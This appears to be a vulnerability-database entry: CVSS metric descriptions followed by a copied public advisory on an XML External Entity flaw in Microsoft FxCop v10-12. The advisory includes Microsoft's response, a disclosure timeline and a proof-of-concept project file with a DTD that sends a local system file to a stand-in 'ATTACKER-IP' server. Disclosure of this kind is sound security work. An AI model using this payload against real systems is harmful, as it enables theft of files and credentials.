The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Microsoft Windows "FxCop" v10-12 / XML External Entity Injection
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-WINDOWS-FXCOP-XML-EXTERNAL-ENTITY-INJECTION.txt
[+] ISR: Apparition Security
***Greetz: indoushka|Eduardo|Dirty0tis***
Vendor:
========
www.microsoft.com
Product:
===========
Microsoft Windows "FxCop" v10-12
Vulnerability Type:
===================
XML External Entity
CVE Reference:
==============
N/A
Security Issue:
================
FxCop is vulnerable to XML injection attacks allowing local file exfiltration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both.
If you have the the particular SDK in question it is probably there but needs to be installed as it was for me.
MSRC Response:
=============
"Weve determined that the issue was fixed in FxCop 14.0, but that it repros in versions earlier than that (e.g. 10.0 -12.0 as far as SDKs are concerned, with version 13.0 skipped).
We have confirmation that the SDKs for Win8+ dont ship FxCop
We are going to pull Win7 SDKs containing v10-v12 of FxCop. Dissecting SDKs and replacing the tool in situ is fraught with peril, and chaining in a later FxCop to run
after an SDKs install (if even feasible) would just draw attention to the problem.
Visual Studio (specifically, C++) ships a trimmed-down version of the Windows 7 SDK, but it does not include FxCop, and so is unaffected.
In summary, newer versions of FxCop are unaffected and we will pull afflicted versions from availability."
Exploit/POC:
=============
1) python -m SimpleHTTPServer
2) "POC.FxCop"
<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8000/payload.dtd">
%dtd;]>
<FxCopProject Version="1.36" Name="My FxCop Project">&send;</FxCopProject>
3) "payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8000?%file;'>">
%all;
4) Import or Open "POC.FxCop" file in FxCop
Files get exfiltrated to attacker server.
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: March 15, 2018
Vendor opens MSRC Case 44322?: March 16, 2018
Vendor reproduces issue : April 6, 2018
Vendor decides to pull all download links instead of advisory or fix : April 9, 2018
May 9, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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